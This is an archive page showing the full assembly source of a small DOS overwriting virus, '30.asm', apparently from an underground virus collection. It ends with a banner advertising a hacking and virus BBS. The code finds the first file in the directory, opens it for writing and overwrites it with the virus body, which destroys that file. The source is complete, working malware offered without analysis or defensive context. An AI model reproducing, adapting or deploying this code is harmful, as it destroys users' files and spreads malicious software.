home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 30.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.1 KB  |  27 lines

  1. code            segment
  2.  
  3.                 assume  cs:code,ds:code,es:code,ss:code
  4.  
  5.                 org     100h
  6.  
  7. main            proc    near
  8.  
  9.                 mov     dx,offset(nev)         ; offset to '*.*'
  10.  
  11.                 mov     ah,4Eh
  12.  
  13.                 int     21h                    ; find first
  14.  
  15.                 mov     dx,009Eh
  16.  
  17.                 mov     ax,3D01h               ; writing
  18.  
  19.                 int     21h                    ; open a file
  20.  
  21.                 mov     bx,ax
  22.  
  23.                 mov     ah,40h
  24.  
  25.                 mov     cl,offset(nev)-100h+4  ; byte-szam
  26.  
  27.                 mov     dx,100h
  28.  
  29.                 int     21h                    ; write to file
  30.  
  31. nev: DB         '*.*'
  32.  
  33. DB              0h
  34.  
  35. main            endp
  36.  
  37. code            ends
  38.  
  39.                 end     main
  40.  
  41.  
  42.  
  43. ;─────────────────────────────────────────────────────────────────────────;
  44.  
  45. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  46.  
  47. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  48.  
  49. ;─────────────────────────────────────────────────────────────────────────;
  50.  
  51.  
  52.  
  53.